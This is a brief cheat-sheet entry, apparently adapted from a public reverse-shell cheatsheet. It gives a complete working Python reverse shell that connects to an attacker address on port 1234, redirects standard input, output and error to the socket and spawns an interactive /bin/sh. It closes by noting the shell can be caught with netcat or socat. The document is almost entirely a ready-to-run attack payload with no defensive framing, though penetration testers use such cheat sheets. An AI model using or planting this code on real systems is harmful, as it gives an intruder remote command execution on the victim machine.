Python reverse shell

import socket
import subprocess
import os
 
attacker_ip = "10.0.0.1"
attacker_port = 1234
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
s.connect((attacker_ip, attacker_port))
 
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
 
subprocess.call(["/bin/sh", "-i"])

Adapted from slyth11907 / Cheatsheets / Cheatsheet_ReverseShells.

Catch it with netcat or socat.